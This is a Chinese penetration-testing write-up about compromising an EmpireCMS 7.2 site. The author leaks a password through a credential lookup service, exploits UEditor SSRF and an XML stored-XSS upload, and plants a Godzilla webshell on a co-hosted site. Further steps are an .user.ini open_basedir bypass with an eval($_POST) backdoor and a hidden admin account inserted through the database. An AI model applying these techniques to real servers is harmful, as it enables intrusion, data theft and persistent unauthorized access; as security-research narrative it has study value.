通過拿下旁站創建帝國cms后臺賬戶
0x00 前言
公司的每月任務同事沒完成數量就幫忙看了一下,發現到了個查不到的問題就來分享了一下。
0x01 滲透路程
首先從資產列表中隨便選了一個站:http://www.xxxxx.org.cn 。然后就習慣性的先點擊插件link-grabber看看網頁有包含了什么鏈接

這路徑一看直接猜測一波帝國cms好吧。直接猜一波后臺路徑/e/admin,哦吼果然沒那么簡單。

那就看一下前臺登錄路徑看得不得e/member/login/,呀呼,前臺可以

本來下面應該是empire cms的不知道被改成了什么意思的cms,不過版本號可能就沒改,那就可能是帝國cms7.2的版本了。點擊會員列表看到只有一個admin的賬戶,想著爆破一波弱口令,可惜沒爆破成功

然后就掃了一下端口看看有什么端口,掃到了個27017端口,mongodb數據庫,用超級弱口令工具檢測出來密碼為空,以為能拿到數據庫了。結果好家伙,嘗試了各種工具花了半天發現連不上。(后面看到了這個:https://blog.csdn.net/Xu_programmer/article/details/116561078踩坑了)


在會員列表看資料/e/space/?userid=1看到了有留下了郵箱。然后就通過sgk找到了前臺的密碼,成功拿下了前臺

但是可惜前臺很多功能都被刪完了,幾乎沒剩下什么可以利用的了。就在無望的時候掃描目錄發現了個ueditor,哦吼。/e/data/ecmseditor/ueditor/。通過用控制臺輸入:console.log(UE.version)能看ueditor的版本。為1.4.3

隨后通過搜索引擎發現有個ssrf漏洞
http://e/data/ecmseditor/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

本來想著看能不能getshell的,但是這個是php的,好像只有aspx的才能getshell,于是只能上傳文件個存儲型xss了
通過上傳圖片后抓包將uploadimage類型改為uploadfile,并修改文件后綴名為xml,最后復制上xml代碼即可
"http://www.w3.org/1999/xhtml"> alert(1);

在無果的時候想著了這個應該不是后臺的路徑,于是想起了這個是由一家名為:XX信息 的公司建立的于是對路徑/e/xx/ 進行了猜想,果然就是帝國cms的后臺登錄地址了,但是沒有賬號密碼,登錄不上。又陷入了沉迷

于是又想起了訪問的如果是https報錯的話有顯示個報錯信息,里面包含是另外一個網站livexxxxxx.com

于是對兩個網站都ping檢測了一下,發現兩個都是同個IP,那應該就是同個服務器下面的了

打開旁站后一心想著找后臺,雖然找到了后臺地址,但是發現后臺地址也沒登錄上,在前臺地址看到了能掃碼登錄,于是用wechat掃碼登錄了一下,然后就看到了在頭像的位置能上傳,于是就隨便上傳了個php文件,沒想到可以直接上傳!!!



二話不說直接就上傳了個哥斯拉的馬,拿下了旁站的shell。但是什么命令都執行不了,用的是寶塔,想著用fpm繞過disable,但是繞不過。php7的,用FFI也不行。

然后我就想著提權不了,也看不了上級的目錄,那要怎么拿目標站?辛虧我師傅說可以用.user.ini和php文件來繞過目錄的限制!!
//.user.ini open_basedir=:/ //user.php eval($_post["pass"]) ?>

通過突破目錄的限制,連上了新的shell后發現能看到全部的目錄了,結果一看好家伙,228個目錄站,首先就找了此次的目標站

然后在e/config/config.php 找到了數據庫的配置,用哥斯拉連上了數據庫,找到了后臺的數據庫表之后想著添加個賬號,但是好家伙,一看我人懵了,這是什么鬼???用cmd5也搜不到密碼

然后通過搜索引擎都沒搜到我想要的創建賬號的相關信息,于是自己搭建了個帝國cms7.2的版本來測試,但是在數據庫怎么添加的賬號都是這樣登錄不上,在后臺添加的賬號卻可以直接登錄。試了一下在數據庫復制在后臺創建的賬號,然后再在后臺把新創建的賬戶給刪了,再用數據庫直接添加,但是也還是登錄不上。我人又雙叒叕的懵了。

于是我就想著用我剛好上周學了一周的php基礎來看一下源碼是通過怎么通過數據庫的來驗證是否是創建的賬戶呢。終于找到了adminfun.php的這個文件中 //認證碼 在這里驗證賬號密碼
//認證碼
if($ecms_config['esafe']['loginauth']&&$ecms_config['esafe']['loginauth']!=$post['loginauth'])
{
InsertErrorLoginNum($username,$password,1,$loginip,$logintime);
printerror("ErrorLoginAuth","index.php");
}
$user_r=$empire->fetch1("select userid,password,salt,salt2,lasttime,lastip,addtime,addip,userprikey,lastipport,addipport from {$dbtbpre}enewsuser where username='".$username."' and checked=0 limit 1");
if(!$user_r['userid'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
$ch_password=DoEmpireCMSAdminPassword($password,$user_r['salt'],$user_r['salt2']);
if($user_r['password']!=$ch_password)
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
然后在下面的//安全問答驗證enewsuseradd表的userid是否存在
//安全問答
$user_addr=$empire->fetch1("select userid,equestion,eanswer,openip,certkey from {$dbtbpre}enewsuseradd where userid='$user_r[userid]'");
if(!$user_addr['userid'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
if($user_addr['equestion'])
{
$equestion=(int)$post['equestion'];
$eanswer=$post['eanswer'];
if($user_addr['equestion']!=$equestion)
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
$ckeanswer=ReturnHLoginQuestionStr($user_r['userid'],$username,$user_addr['equestion'],$eanswer);
if($ckeanswer!=$user_addr['eanswer'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
}
隨后我看了一下確實通過后臺創建的賬戶都有個userid,然后我用數據庫的添加都沒有。隨后我就自己添加了個進去,果然就可以登錄上后臺了!!!


導出我自己創建的賬號語句直接在目標站添加了進去,再在enewsuseradd的表添加了我剛剛添加的賬號id,終于成功的登錄上了后臺!

之后就在網上找到的那些洞中一個個復現了,首先第一個就是通過備份數據來看phpinfo的信息了


獲取到了phpinfo信息,再試那些能拿shell的漏洞了,但是發現其他拿shell的功能點都不見了。于是我直接在我自己搭建的環境中抓對應的包來這邊修改,最后終于試到還有一個可以拿shell的點,“導入系統模型”,雖然功能點見不到,但是通過抓包改包最終還是露出了原形

